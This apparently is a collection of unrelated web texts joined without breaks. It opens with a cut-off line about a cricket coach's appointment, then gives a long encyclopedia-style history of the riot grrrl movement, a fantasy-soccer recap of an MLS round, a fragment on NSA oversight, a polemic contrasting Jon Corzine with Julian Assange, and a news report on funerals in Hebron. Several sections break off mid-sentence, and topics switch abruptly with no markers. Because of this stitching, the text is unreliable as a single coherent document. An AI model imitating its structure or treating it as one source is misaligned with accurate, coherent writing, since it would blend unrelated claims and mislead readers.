The announcement to do with the coach's appointment came with one certainty: the incoming candidate would need the approval of Virat Kohli, with a stipulation that he get along with the new coach. Or rather, in Sourav Ganguly's words, that coach and captain be "on the same page".
That matters have come to such a pass, where a captain and coach must be told by the elders to be nice to each other, offers a clue that the team, or rather its |
.[5]
Riot grrrl bands often address issues such as rape, domestic abuse, sexuality, racism, patriarchy, and female empowerment. Primary bands associated with the movement include Bikini Kill, Bratmobile, Heavens to Betsy, Excuse 17, Huggy Bear, Skinned Teen, Emily's Sassy Lime and Sleater-Kinney, as well as queercore groups like Team Dresch and The Third Sex.[6][7] In addition to a music scene and genre, riot grrrl is a subculture involving a DIY ethic, zines, art, political action, and activism.[8] The riot grrrl movement quickly spread well beyond its musical roots to create vibrant “zine” and Internet-based movement, complete with local meetings and grassroots organizing to end ageism, homophobia, weightism, racism, sexism and, especially, physical and emotional violence against women and girls.[9] Riot grrrls are known to hold meetings, start chapters, and support and organize women in music.[10]
Origins [ edit ]
During the late 1970s and early and mid-1980s there were a number of groundbreaking female punk and rock musicians who later influenced the riot grrrl ethos. These included Siouxsie Sioux, Poly Styrene, The Slits, Au Pairs, The Raincoats, Patti Smith, Chrissie Hynde, The Runaways/Joan Jett, The B-52's, LiLiPUT, Lydia Lunch, Exene Cervenka, Kim Gordon, Ut, Neo Boys, Bush Tetras, Y Pants, ESG, Chalk Circle, Fifth Column, Frightwig, X-Ray Spex, Scrawl, and Anti-Scrunti Faction.[11] The 1980s also featured a number of female folk singers from New York whose lyrics were realistic and socio-political, but also personally intimate.[11]
During the mid-1980s in Vancouver the influential Mecca Normal fronted by poet Jean Smith formed, followed by Sugar Baby Doll in San Francisco whose members would all wind up in hardcore female bands.[12] In 1987, the magazine Sassy premiered and dealt with tough subjects that conventional magazines aimed at teenage girls did not.[12] An article "Women, sex and rock and roll" published by Puncture, edited by Katherine Spielmann, in 1989 became the first manifesto of the movement.[12] In 1991, a radio program hosted by Lois Maffeo entitled Your Dream Girl aimed at angry young women debuted on Olympia, Washington radio station KAOS.[12]
During the early 1990s the Seattle/Olympia Washington area had a sophisticated do it yourself infrastructure.[11] Young women involved in underground music scenes took advantage of this to articulate their feminist thoughts and desires through creating punk-rock fanzines and forming garage bands. The political model of collage-based, photocopied handbills and booklets was already used by the punk movement as a way to activate underground music, leftist politics and alternative (to mainstream) sub-cultures. There was a discomfort among many women in the punk movement who felt that they had no space for organizing, because of the misogyny in the punk culture. Many women found that while they identified with a larger, music-oriented subculture, they often had little to no voice in their local scenes. Women at the punk-rock shows saw themselves as girlfriends of the boys, so they took it upon themselves to represent their own interests by making their own fanzines, music and art.[13]
In 1991, young women coalesced in an unorganized collective response to several women's issues, such as the Christian Coalition's Right to Life attack on legal abortion and the Senate Judiciary Hearings into Anita Hill's accusations of sexual harassment by Supreme Court Justice Clarence Thomas.[14] Young feminist voices were heard through multiple protests, actions, and events such as the formative opening night of the International Pop Underground Convention[15] and later L7's Rock for Choice.
Uses and meanings of the term "riot grrrl" developed slowly over time, but its etymological origins can be traced to the actual Mount Pleasant race riots in spring 1991. Bratmobile member Jen Smith (later of Rastro! and The Quails), used the phrase "girl riot" in a letter to Allison Wolfe describing the atmosphere among women in the city.[14][16] Soon afterwards, Wolfe and Molly Neuman collaborated with Kathleen Hanna and Tobi Vail to create a new zine and called it Riot Grrrl, combining the "riot" with an oft-used phrase that first appeared in Vail's fanzine Jigsaw "Revolution Grrrl Style Now".[17] Riot grrrls took a growling double or triple r, placing it in the word girl, as a way to take back the derogatory use of the term.[18]
Bikini Kill [ edit ]
Kathleen Hanna had been studying at The Evergreen State College in Olympia. She participated in a small collective art gallery called Reko Muse, which would frequently host bands like The Go Team and Some Velvet Sidewalk to play in between art exhibitions (partially just to keep the gallery running). Hanna started a band, Amy Carter (named after the daughter of the US President Jimmy Carter), with fellow gallery-founders Heidi Arbogast and Tammy Rae Carland. After touring with some other projects like Viva Knievel, she hooked up with The Go Team drummer and zinester Tobi Vail, who had been writing of her own experiences:
I feel completely left out of the realm of everything that is so important to me. And I know that this is partly because punk rock is for and by boys mostly and partly because punk rock of this generation is coming of age in a time of mindless career-goal bands.
They started working together on another fanzine called Bikini Kill, which, after recruiting friends Kathi Wilcox and Billy "Boredom" Karren, would eventually become a band.[17][19]
Bratmobile [ edit ]
Allison Wolfe met Molly Neuman at the University of Oregon. Wolfe introduced Neuman to bands such as Beat Happening and The Melvins, Neuman introduced Wolfe to sociology classes and Public Enemy.
They began working on zines called Girl Germs, and later riot grrrl with Tobi Vail, Kathleen Hanna and Jen Smith.
It was a really hippie town, and we were getting really politicized, but also really into this DIY thing, so we kinda started creating. 'Let's make our own fanzine!'[20]
Wolfe and Neuman started frequenting shows by bands like Fugazi and Nirvana. In 1990, Calvin Johnson called them up and asked them to play a show on Valentine's Day with Some Velvet Sidewalk and the newly formed Bikini Kill. They accepted it as a dare and played the show at Olympia's North Shore Surf club. Guitarist Erin Smith joined in March 1991.[citation needed]
International Pop Underground Convention [ edit ]
From August 20 – 25, 1991, K Records held an indie music festival called the International Pop Underground Convention. A promotional poster reads:
As the corporate ogre expands its creeping influence on the minds of industrialized youth, the time has come for the International Rockers of the World to convene in celebration of our grand independence. Hangman hipsters, new mod rockers, sidestreet walkers, scooter-mounted dream girls, punks, teds, the instigators of the Love Rock Explosion, the editors of every angry grrrl zine, the plotters of youth rebellion in every form, the midwestern librarians and Scottish ski instructors who live by night, all are setting aside August 20–25, 1991 as the time.[21]
An all-female bill on the first night, called "Love Rock Revolution Girl Style Now!" signalled a major step in the movement.[22][23] The lineup featured Bratmobile, Heavens to Betsy, Nikki McClure, Lois Maffeo, Jean Smith of Mecca Normal, 7 Year Bitch, and two side projects of Kathleen Hanna: the first was Suture with Sharon Cheslow of Chalk Circle (DC's first all-women punk band) and Dug E. Bird of Beefeater, the second was the Wondertwins with Tim Green of Nation of Ulysses. It was here that so many zinester people who'd only known each other from networking, mail, or talking on the phone, finally met and were brought together by an entire night of music dedicated to, for, and by women.[citation needed]
The convention featured other bands such as Unwound, L7, The Fastbacks, The Spinanes, Shadowy Men on a Shadowy Planet, Girl Trouble, The Pastels, Kicking Giant, Rose Melberg, Seaweed, Kreviss, I Scream Truck, Scrawl, Nation of Ulysses, Jad Fair, Thee Headcoats, and Steve Fisk, and spoken-word artist Juliana Luecking.[citation needed]
Decline and later developments [ edit ]
By the mid-nineties, riot grrrl had severely splintered. Many within the movement felt that the mainstream media had completely misrepresented their message, and that the politically radical aspects of riot grrrl had been subverted by the likes of the Spice Girls and their "girl power" message, or co-opted by ostensibly women-centered bands (though sometimes with only one female performer per band) and festivals like Lilith Fair.[citation needed]
Of the original riot grrrl bands, Bratmobile, Heavens to Betsy and Huggy Bear had split in 1994, Excuse 17 and most of the UK bands had split by 1995, and Bikini Kill and Emily’s Sassy Lime released their last records in 1996. However, Team Dresch were active as late as 1998, The Gossip were active from 1999, Bratmobile reformed in 2000 and, perhaps most prolific of all, Sleater-Kinney were active - initially - from 1994 to 2006, releasing 7 albums.
Many of the women involved in riot grrrl are still active in creating politically charged music. Kathleen Hanna went on to found the electro-feminist post-punk "protest pop" group Le Tigre and later The Julie Ruin, Kathi Wilcox joined The Casual Dots with Christina Billotte of Slant 6, and Tobi Vail formed Spider and the Webs. Corin Tucker of Heavens to Betsy and Carrie Brownstein of Excuse 17 co-founded Sleater-Kinney at the tail end of the original movement, and reformed the band again in 2014 after an 8-year hiatus, while Bratmobile reunited to release two albums, before Allison Wolfe began singing with other all-women bands, Cold Cold Hearts, and Partyline. Molly Neuman went on to play with New York punk band Love Or Perish and run her own indie label called Simple Social Graces Discos, as well as co-owning Lookout! Records and managing The Donnas, Ted Leo, Some Girls, and The Locust. Kaia Wilson of Team Dresch and multimedia artist Tammy Rae Carland went on to form the now-defunct Mr. Lady Records which released albums by The Butchies, The Need, Kiki and Herb, and Tracy + the Plastics.[citation needed]
Feminism and riot grrrl culture [ edit ]
Riot grrrl culture is often associated with third wave feminism, which also grew rapidly during the same early nineties timeframe. The movement of third-wave feminism focused less on laws and the political process and more on individual identity. The movement of third-wave feminism is said to have arisen out of the realization that women are of many colors, ethnicities, nationalities, religions and cultural backgrounds.[24] The riot grrrl movement allowed women their own space to create music and make political statements about the issues they were facing in the punk rock community and in society. They used their music and publications to express their views on issues such as patriarchy, double standards against women, rape, domestic abuse, sexuality, and female empowerment.[25]
An undated, typewritten Bikini Kill tour flier answers the question "What is Riot grrrl?" with:
"[Riot Grrrl is...] Because we girls want to create mediums that speak to US. We are tired of boy band after boy band, boy zine after boy zine, boy punk after boy punk after boy... Because we need to talk to each other. Communication and inclusion are key. We will never know if we don't break the code of silence... Because in every form of media we see ourselves slapped, decapitated, laughed at, objectified, raped, trivialized, pushed, ignored, stereotyped, kicked, scorned, molested, silenced, invalidated, knifed, shot, choked and killed. Because a safe space needs to be created for girls where we can open our eyes and reach out to each other without being threatened by this sexist society and our day to day bullshit."[26]
Like other third wave feminists, riot grrrls attempted to foster an acceptance of diversity within feminist expression. That relationship to feminism is evident through their use of lyrics, zines and publications, and taking back the meaning of derogatory terms. All three of these forms were claimed to be a source of empowerment for women in the movement.[citation needed]
The riot grrrl movement encouraged women to develop their own place in a male-dominated punk scene. Punk shows had come to be understood as places where "women could make their way to the front of the crowd into the mosh pit, but had to 'fight ten times harder' because they were female, and sexually charged violence such as groping and rape had been reported."[27]
In contrast, riot grrrl bands would often actively invite members of the audience to talk about their personal experiences with sensitive issues such as sexual abuse, pass out lyric sheets to everyone in the audience, and often demand that the mosh boys move to the back or side to allow space in front for the girls in the audience.[17] The bands weren't always enthusiastically received at shows by male audience members. Punk Planet editor Daniel Sinker wrote in We Owe You Nothing:
The vehemence fanzines large and small reserved for riot grrrl – and Bikini Kill in particular – was shocking. The punk zine editors' use of 'bitches', 'cunts','man-haters', and 'dykes' was proof-positive that sexism was still strong in the punk scene.
Kathi Wilcox said in a fanzine interview:
Kathleen Hanna of Bikini Kill in 1996
I've been in a state of surprise for several years about this very thing. I don't know why so-called punk rockers are so threatened by a little shake-up of the truly boring dynamic of the standard show atmosphere. How fresh is the idea of fifty sweaty hardcore boys slamming into each other or jumping on each others' heads? Granted, it's kind of cool to be on stage and have action in the front, much more inspiring than to look out at a crowd of zombies, but so often the survival-of-the-fittest principle is in operation in the pit, and what girl wants to go up against a pack of Rollins boys who usually only want to be extra mean to her anyway just to make her "prove" her place in the pit. This was the case when I was first going to shows, and it's sad that things haven't changed at all since.... But it would have been so cool if at one of these shows someone onstage would have said, hey let's have more girls up in the front, just so I could have had more company and girls over to side could have seen better/been in the action. So yeah, we do encourage girls to the front, and sometimes when shows have gotten really violent (like when we were in England) we had to ask the boys to move to the side or the back because it was just too fucking scary for us, after several attacks and threats, to face another sea of hostile boy-faces right in the front.[28]
Kathleen Hanna would later write: "It was also super schizo to play shows where guys threw stuff at us, called us cunts and yelled "take it off" during our set, and then the next night perform for throngs of amazing girls singing along to every lyric and cheering after every song."[29]
Many men were supporters of riot grrrl culture and acts. Calvin Johnson and Slim Moon have been instrumental in publishing riot grrrl bands on the labels they founded, K Records and Kill Rock Stars respectively. Alec Empire of Atari Teenage Riot said, "I was totally into the riot grrrl music, I see it as a very important form of expression. I learned a lot from that, way more maybe than from'male' punk rock."[30] Dave Grohl and Kurt Cobain dated Kathleen Hanna and Tobi Vail (also respectively), and often played with Bikini Kill even after splitting with them; Kurt was a big fan of The Slits and even convinced The Raincoats to reform. He once said, "The future of rock belongs to women."[31] Many riot grrrl bands included male band members, such as Billy Karren of Bikini Kill or Jon Slade and Chris Rawley of Huggy Bear.
Molly Neuman once summarized: "We're not anti-boy, we're pro-girl."[30] Riot grrrl concerts provided a safe haven for women, and often addressed issues such as rape, domestic abuse, sexuality and female empowerment. For example, in Bikini Kill's "Don't Need You", they sing: "don’t need you to say we’re cute/don’t need you to say we’re alright/don’t need your protection/don’t need your kiss goodnight", rejecting stereotypical heterosexual relationship dynamics.[32]
Influenced heavily by DIY culture, most bands' presentation subverted traditional or classically trained'musicianship' in favor of raw, primitive, avant-lo-fi passion and fiercely deliberate amateurism: an idea growing rapidly in popularity, especially in the Olympia music scene, with bands like Beat Happening coining the slogans: "Learn how to NOT play your instrument" and "hey, you don't have to sound like the flavor of the month, all you have to do is sound like yourselves"[citation needed], arguing that traditional musical skill doesn't ultimately matter and should always be subservient to the passion, the fun and ideas in their music.[citation needed] This argument is similar to the ideological origins of punk rock itself, which started partially as an attempt to dissolve the growing division between audience and performer. These indie-punk bands (and riot grrrl bands in particular) were often ridiculed for "not being able to play their instruments", but fans are quick to counter that identical criticisms were often faced by the first-wave of punk rock bands in the 1970s, and that this DIY garage amateurism "play just 'cause you wanna, no matter what" attitude was one of the most appealing and liberating aspects of both movements.[citation needed]
Music [ edit ]
Other bands and artists associated with the riot grrrl movement in one way or another include - in the US - Slant 6, Sta-Prest, Sue P. Fox, Jenny Toomey, Adickdid, Tattle Tale, Jack Off Jill, The Need, Nomy Lamm, Lucid Nation, The Frumpies, Bangs, Crown for Athena, TummyAche, The Third Sex, Canopy, Cheesecake, Clever Boy (Annika Bentley) Growing Up Skipper, The Fucking Angels, Pagan Holiday, The Quails, Giant Kitty; in the UK, bands like Blood Sausage, Mambo Taxi, Voodoo Queens, Pussycat Trash, Golden Starlet, Witchknot, Frantic Spiders, Linus, Sister George, Lungleg, Sally Skull,[33] Hello Skinny and Coping Saw (who featured Leeds fanzine writer Karren Ablaze); and in Brazil, bands like Dominatrix, Kaos Klitoriano and Menstruação Anarquika.[34] In Tasmania, Australia – "The Little Ugly Girls"[35] led by Linda J. Dacio identified with the riot grrrl movement. Letters between the band's drummer "Sloth" and Kathleen Hanna of Bikini Kill would soon see the bands share a stage in Hobart, Australia.[36]
There were also many girl-centric or all-women punk and queercore bands of this era, such as Calamity Jane, 7 Year Bitch, Red Aunts, Autoclave, Thee Headcoatees, Spitboy, Scissor Girls, and Tribe 8, who did not self-identify with the 'riot grrrl' label, despite sharing similar DIY tactics and feminist ideologies.
Media misconceptions [ edit ]
As media attention increasingly focused on Grunge and Alternative Rock in the early nineties, the term "Riot Grrrl" was often applied to less political female or female-fronted alternative rock acts such as Babes in Toyland, The Breeders, The Gits, 7 Year Bitch, Hole, Lunachicks, Dickless, L7, PJ Harvey, Liz Phair, Veruca Salt, and even No Doubt - although the latter band formed and performed during this era, they began as a SoCal-based and non-Alternative Ska/Punk/Oí group. They retained this style prior to, and after, their major label signing with The Beacon Street Collection and breakout album Tragic Kingdom, remaining as such through their debut studio album release, the assotiated and frontline solo tours, Festivals, plus the longtime collaborations with Sublime before the initial sound and style drifted into the other genres and the ultimate solo act from Gwen Stefani - and – although the term could arguably apply to L7 due to their involvement in the creation of Rock for Choice, a series of concerts and compilation albums designed to raise money and awareness for abortion rights and protection of women's health clinics.[37] To their chagrin, riot grrrls found themselves in the media spotlight during 1992, accused of dragging feminism into the mosh pit in magazines from Seventeen to Newsweek.[38][39] Fallout from the media coverage led to resignations from the movement of people like Jessica Hopper, who was at the center of the Newsweek article. Kathleen Hanna called that year for "a press block". In an essay from January 1994, included in the CD version of Bikini Kill's first two records, Tobi Vail responded to media simplifications and mis-characterization of Riot Grrrl:
one huge misconception for instance that has been repeated over and over again in magazines we have never spoken to and also by those who believe these sources without checking things out themselves is that Bikini Kill is the definitive 'riot girl band'... We are not in anyway 'leaders of' or authorities on the 'Riot Girl' movement. In fact, as individuals we have each had different experiences with, feelings on, opinions of and varying degrees of involvement with 'Riot Girl' and though we totally respect those who still feel that label is important and meaningful to them, we have never used that term to describe ourselves AS A BAND. As individuals we respect and utilize and subscribe to a variety of different aesthetics, strategies, and beliefs, both political and punk-wise, some of which are probably considered 'riot girl.'
Writer/musician/historian/artist Sharon Cheslow said in EMP's Riot Grrrl Retrospective documentary:
There were a lot of very important ideas that I think the mainstream media couldn't handle, so it was easier to focus on the fact that these were girls who were wearing barrettes in their hair or writing'slut' on their stomach.
Corin Tucker of Heavens to Betsy and Sleater-Kinney said:
I think it was deliberate that we were made to look like we were just ridiculous girls parading around in our underwear. They refused to do serious interviews with us, they misprinted what we had to say, they would take our articles, and our fanzines, and our essays and take them out of context. We wrote a lot about sexual abuse and sexual assault for teenagers and young women. I think those are really important concepts that the media never addressed.[40]
Zines and publications [ edit ]
GirlPower. The second amateur zine for riot grrrls put out by the feminist band Bikini Kill in 1991, entitled
Even as the Seattle-area rock scene came to international mainstream media attention, riot grrrl remained a willfully underground phenomenon.[26] Most musicians shunned the major record labels, devotedly working instead with indie labels such as Kill Rock Stars, K Records, Slampt, Piao! Records, Simple Machines, Catcall, WIIIJA and Chainsaw Records. The movement also figured fairly prominently in cassette culture, with artists often starting their own DIY cassette labels by as basic and spartan a means as recording their music onto cheap off-the-shelf boom-boxes and passing the cassettes out to friends, seldom charging anything beyond the cost of the actual tapes themselves.
Riot grrrl's momentum was also hugely supported by an explosion of creativity in defiantly homemade cut and paste, xeroxed, collagey zines that covered a variety of feminist topics, frequently attempting to draw out the political implications of intensely personal experiences in a "privately public" space.[26] Zines often described experiences with sexism, mental illness, body image and eating disorders, sexual abuse, racism, rape, discrimination, stalking, domestic violence, incest, homophobia, and sometimes vegetarianism. Grrrl zine editors are collectively engaged in forms of writing and writing instruction that challenge both dominant notions of the author as an individualized, bodiless space and notions of feminism as primarily an adult political project.[41]
These zines were archived by zinewiki.com, and Riot Grrrl Press, started in Washington DC in 1992 by Erika Reinstein & May Summer. Others can be found anthologized in A Girl's Guide to Taking over the World: Writings from the Girl Zine Revolution, for which actress/singer/musician/writer/performance artist Ann Magnuson of Bongwater fame wrote as a foreword:
When I think of how much benefit my teenage self could have gained from the multitude of zines that have proliferated over the past decade, I weep for all the lost potential. Except for Joan of Arc and Anne Frank, the thoughts of teenage girls have rarely been taken seriously.
Bands would often attempt to reappropriate derogatory phrases like "cunt", "bitch", "dyke", and "slut", writing them proudly on their skin with lipstick or fat markers. Kathleen Hanna was writing "slut" on her stomach at shows as early as 1992, intentionally fusing feminist art and activist practices.[14] Riot grrrls making political statements to reclaim phrases is a common theme among third-wave feminists.[citation needed] Not only did their music address the same issues as third-wave feminism, but they took a political stance against the oppression they were feeling.[citation needed]
Many of the women involved with queercore were also interested in riot grrrl, and zines such as Chainsaw by Donna Dresch, Sister Nobody, Jane Gets A Divorce and I (heart) Amy Carter by Tammy Rae Carland embody both movements. There were also national conventions like in Washington, D.C.[citation needed], or the Pussystock festival in New York City, as well as various subsequent indie-documentaries like Don't Need You: the Herstory of Riot Grrrl.
Starting during the fall of 2010, the "Riot Grrrl Collection" has been housed at New York University's Fales Library and Special Collections, as "The Fales Riot Grrrl Collection". The collection's primary mandate is "to collect unique materials that provide documentation of the creative process of individuals and the chronology of the [Riot Grrrl] movement overall".[42] Kathleen Hanna, Johanna Fateman, and Becca Albee have donated primary source material, while Molly Neuman, Allison Wolfe, Kathi Wilcox, and Carrie Brownstein are expected to donate material shortly. The collection is the brainchild of Lisa Darms, Senior Archivist at the Fales Library. According to Jenna Freedman, a librarian who maintains a zine collection at Barnard College, "It's just essential to preserve the activist voices in their own unmediated work, especially because of the media blackout that they called for". Kathleen Hanna, while understanding no collection can replicate the concert experience, feels the collection is a safe place that will be "free from feminist erasure".[42][43]
Criticism [ edit ]
The "Riot Grrrl" movement has received criticism for not being inclusive enough. Riot Girls are often accused of being separatists: they want to form a life away from men and invent "girl culture".[44] One major argument is that the movement focuses on middle-class white women, alienating other kinds of women.[45][46] This criticism emerged early in the movement. In 1993, Ramdasha Bikceem wrote in her zine, Gunk,
Riot grrrl calls for change, but I question who it's including... I see Riot Grrrl growing very closed to a very few i.e. white middle class punk girls.[26]
Musician Courtney Love has criticized the movement for being too doctrinaire and censorious:
Look, you've got these highly intelligent imperious girls, but who told them it was their undeniable American right not to be offended? Being offended is part of being in the real world. I'm offended every time I see George Bush on TV![47]
Some have suggested that, while riot grrrl bands worked to ensure their shows were safe spaces in which women could find solidarity and create their own subculture, they have excluded trans women from events such as The Michigan's Womyn's Music Festival, which has a womyn born-womyn policy. Former members of Le Tigre have seen protests at shows for participating in the festival.[48]
Legacy [ edit ]
The legacy of riot grrrl is clearly visible in numerous girls and women worldwide who cite the movement as an interest or an influence on their lives and/or their work.[50] Some of them are self-proclaimed riot grrrls while others consider themselves simply admirers or fans. There are many fansites and message boards for riot grrrl on the internet.[51] In an age where Internet is the most accessible platform for individuals to express themselves, the Riot Grrrl online community has risen in popularity in recent years. Not only do these online platforms capture discussion regarding larger topics of systemic oppression, but they also provide space for girls to express smaller issues—the successes and challenges of their everyday lives. It is a forum that allows for self-determined feminism and genuine, open expression, a core part of the Riot Grrrl message that’s greatest power is giving girls the room to decide for themselves who they are.[52] As both a purported musical genre and as a subculture, riot grrrl has been acclaimed as an influence on contemporary groups as varied as Kitten Forever, Skating Polly, The Shondes and The Ethical Debating Society. Besides that, the Riot Grrrl movement has been a strong influence not only for the punk-rock scene but also for other kinds of music.
In the foreword to Riot Grrrl: Revolution Girl Style Now! Beth Ditto writes of riot grrrl,
A movement formed by a handful of girls who felt empowered, who were angry, hilarious, and extreme through and for each other. Built on the floors of strangers' living rooms, tops of Xerox machines, snail mail, word of mouth and mixtapes, riot grrrl reinvented punk.[53]
Writing about riot grrrl's personal influence on her and her music, she muses on the meaning of the movement for her generation,
Until I found riot grrrl, or riot grrrl found me I was just another Gloria Steinem NOW feminist trying to take a stand in shop class. Now I am a musician, a writer, a whole person.[53]
Many women write to Hanna in hopes of reviving the Riot Grrrl Movement. Hanna says, “Don’t revive it, make something better".[54] In 2010 Girls to the Front: The True Story of the Riot Grrrl Revolution, by Sara Marcus, was published. It is the first published history of the Riot Grrrl movement.[55][56] Sara Marcus herself had attended Riot Grrrl meetings.[57] As of now there are approximately ten weekly Riot Girl meetings nationwide, and bands multiplying faster than can be counted.[44]
In 2013 Astria Suparak and Ceci Moss curated Alien She, an exhibition examining the impact of Riot Grrrl on artists and cultural producers. Alien She focuses on seven people whose visual art practices were informed by their contact with Riot Grrrl. Many of them work in multiple disciplines, such as sculpture, installation, video, documentary film, photography, drawing, printmaking, new media, social practice, curation, music, writing and performance—a reflection of the movement's artistic diversity and mutability.[58][59][60] It opened September 2013 at the Miller Gallery at Carnegie Mellon University in Pittsburgh, and ran through February the following year. It visited four subsequent museums (Vox Populi in Philadelphia, Pennsylvania, March – April 2014; Yerba Buena Center for the Arts, San Francisco, October 2014 – January 2015; Orange County Museum of Art, Newport Beach, California, February – May 2015; and Pacific Northwest College of Art: 511 Gallery and the Museum of Contemporary Craft in Portland, Oregon, September 3, 2015 – January 9, 2016[61]).
The term "grrrl" (or "grrl") itself has since been co-opted or used by agencies as diverse as advocacy on behalf of the Electronic Frontier Foundation (GRRL POWER 1.0 5-PACK / Memetics for the Ladies)[62] and a roller derby league in Singapore.[63]
See also [ edit ]
References [ edit ]
Further reading [ edit ]Round 8 has finished and much like the previous DGW’s, it was one with many goals and much rotation. For the talking points from each match, read below!
New York City FC (1) – (1) Montreal Impact
MOTM – David Villa ($11.4) 6pts
At least we know its not for lack of effort, as Villa registered 10 shots against Montreal. Look for him to bag a goal in his next match.
WATCHLIST – Didier Drogba ($11.6) 7pts
A late assist to Oduro capped off his night but the amount of set pieces he’s taking is what has me interested!
New England Revolution (1) – (1) Portland Timbers
MOTM – Jermain Taylor ($6.3) 4pts
Taylor was nice enough to take away Portland’s clean sheet for all of us! 🙂
WATCHLIST – Lee Nguyen ($11.2) 7pts
Nguyen put up one of the games you expect from a premium midfielder. Lots of possession on the ball with attacking bonus. That yellow at the end didn’t help though!
Vancouver Whitecaps (1) – (1) Sporting Kansas City
MOTM – Christian Bolanos ($7.9) 7pts
Bolanos’ upper 90 effort was the sole bright spot for Vancouver offensively. Pedro Morales has recently returned from injury so if Bolanos can keep amongst the scoring, he’s definitely worth a look.
WATCHLIST – Tim Melia ($5.6) 0pts
Midweek rotation has once again cost many fantasy managers. Alec Kann started between the posts but even with that alarming mustache, I expect Melia will start on the weekend.
New York Red Bulls (4) – (0) FC Dallas
MOTM – Sacha Kljestan (11.5) 14pts
Kljestan once again reminded me of my transferring him out for DGW midfielders! Crolla said NYRB would bounce back, but I fell for the 2 fixtures once again.
WATCHLIST – Lloyd Sam ($9.2) 13pts
Sam’s second straight week in double digits has me wondering if he’s back to the form of last year? He’s a mid-tier midfielder that might be worth a shout in the coming rounds.
Montreal Impact (2) – (2) Colorado Rapids
MOTM – Didier Drogba ($11.6) 9pts
Drogba continued to hog the set pieces which may be beneficial, see free-kick, but I think the greater impact is on Piatti’s potential points.
WATCHLIST – Jermaine Jones ($8.2) 6pts
Beyond Jones’ performance, his price is a huge enabler to afford higher priced mids/fwds and with a DGW in Round 10, he’s essential.
New York City FC (3) – (2) Vancouver Whitecaps
MOTM – David Villa ($11.4) 15pts
(Highly Captained) Villa finally broke though the defense and scored a few wonderful goals much to the delight of his many fantasy owners! He also received the foul bonus again, his second game in a row doing so.
WATCHLIST – Christian Bolanos ($7.9) 7pts
Bolanos was once again amongst the scoring en route to another 7pts. However, that included a missed penalty which probably won’t have any effect as he’s probably already used up the once chance he had at wrangling up PK duty.
Philadelphia Union (1) – (1) San Jose Earthquakes
MOTM – Chris Pontius ($7.2) 9pts
Although he’s not a flashy pick, Pontius has been pretty steady scoring 4 goals and adding an assist in his 8 matches. His price is another factor which has me injecting him into my future plans.
WATCHLIST – CJ Sapong ($8.2) 2pts
Beyond the bye week in Round 9, his price is a huge enabler to afford higher priced mids/fwds and with a DGW in Round 10, he’s (near) essential.
Seattle Sounders FC (1) – (0) Columbus Crew SC
MOTM – Jordan Morris ($8.2) 7pts
That makes three straight matches with a goal. Is this the reincarnation of McInerney from a few seasons ago, a lock for 7 points a match?
WATCHLIST – Cristian Roldan ($5.5) 4pts
With all of the rotation a suitable bench candidate |
in which to lock you up. The government does. That kind of makes a big difference.As for "don't trust your government," well, it would be a hell of a lot easier if the government actually deserved our trust. Yes, it erodes democracy when we can't trust our government, but there's a reason we can't trust our government, and it's not because "X corporation" doesn't want to share its users' information with the government.Inman also insists that Congress has the ability to understand what's going on with the NSA, totally ignoring the fact that House Intelligence Committee boss specifically has blocked access to information from those who requested it and, much worse, chose to withhold pertinent information from Congress prior to a vote on re-approving the FISA Amendments Act, despite the strong urging from the White House that the information be widely shared with elected officials. Inman pretends none of that happened:He has no sympathy even when information was deliberately withheld from them? And when they did seek it out they were denied? Really?All in all the interview is pretty weak, but at least he's willing to admit that lying to Congress is a mistake.
Filed Under: bobby ray inman, ed snowden, lying, nsa, nsa surveillanceSubmitted by John Aziz of Azizonomics
Assange Or Corzine?
Priorities are a bitch.
The United States won’t prosecute Corzine for raiding segregated customer accounts, but will happily convene a Grand Jury in preparation for prosecuting Julian Assange for exposing the truth about war crimes.
From the New York Times:
A criminal investigation into the collapse of the brokerage firm MF Global and the disappearance of about $1 billion in customer money is now heading into its final stage without charges expected against any top executives. After 10 months of stitching together evidence on the firm’s demise, criminal investigators are concluding that chaos and porous risk controls at the firm, rather than fraud, allowed the money to disappear, according to people involved in the case.
Corzine is considering opening a new hedge fund, though the notion that anyone — even a slack-jawed muppet happy to buy whatever Goldman ‘s prop traders want to sell — would seed Corzine money so he can trade or steal it away seems absurd — rather like putting a child molester in charge of a day-care.
But nobody knows how much dirt Corzine has on other Wall Street crooks. Not only may Corzine get away with corzining MF Global’s clients’ funds, he may well end up with a whole raft of seed money to play with from those former colleagues and associates who might prefer he remain silent regarding other indiscretions he may be aware of.
But the issue at hand is the sense that we have entered a phase of exponential criminality and corruption. A slavering crook like Corzine who stole $200 million of clients’ funds can walk free. Meanwhile, a man who exposed evidence of serious war crimes is for that act so keenly wanted by US authorities that Britain has threatened to throw hundreds of years of diplomatic protocol and treaties into the trash and raid the embassy of another sovereign state to deliver him to a power that seems intent not only to criminalise him, but perhaps even to summarily execute him. The Obama administration, of course, has made a habit of summary extrajudicial executions of those that it suspects of terrorism, and the detention and prosecution of whistleblowers. And the ooze of large-scale financial corruption, rate-rigging, theft and fraud goes on unpunished.HEBRON (Ma'an) -- Palestinians in the southern occupied West Bank district of Hebron laid five Palestinians to rest on Saturday after their bodies were released by Israeli authorities the previous night, with mourners being met with live ammunition, tear gas, and rubber-coated steel bullets fired by Israeli forces.
After Israeli authorities returned the bodies of nine Palestinians who were killed while committing or allegedly committing attacks, a number of funerals were held Friday evening across the occupied West Bank.
In Hebron, preparations for the funerals of five Palestinians were still ongoing as of Saturday morning, and were held later in the afternoon.
In Beit Ummar, local activist Muhammad Ayyad Awad said Israeli soldiers stationed at the northern entrance to the town fired tear gas canisters at the crowds of mourners during the funeral for Khalid Ikhlayyil.
The cemetery, he said, is only tens of meters away from the Israeli military post.
In response, Palestinians youth hurled stones at the Israeli soldiers who fired more tear gas and rubber-coated steel bullets injuring a number of people. According to Awad, 11 Palestinians were hit with live ammunition and 10 others with rubber-coated steel bullets. He added that three Israeli soldiers were also hurt.
Ambulances of the Palestinian Red Crescent Service evacuated the injured and treated several others on the scene. Story continues below.
Awad highlighted that "the entire town of Beit Ummar -- without exception" partook in Ikhlayyil’s funeral.
The body, he said, was first carried to the town's main mosque for a funeral prayer after mourners performed the midday prayer, then headed to the Martyr’s Cemetery where he was led to rest.
Khalid Ahmad Elayyan Ikhlayyil, 23, was shot dead inside his private car in the al-Baqaa area in Beit Ummar on Oct. 30. Israeli forces alleged that he tried to run over a number of Israeli soldiers.
Separately, crowds took to the streets in Hebron to partake in the funeral Ameer Jamal al-Rajabi, 17, and Muhannad Jameel al-Rajabi, 21, were shot by Israeli soldiers on Sep. 19 after they allegedly attempted to stab Israeli officers in the Old City of Hebron.
The two were taken to the Abu Eisha mosque and after the midday prayer and funeral prayer, mourners carried the bodies to the Martyr’s Cemetery.
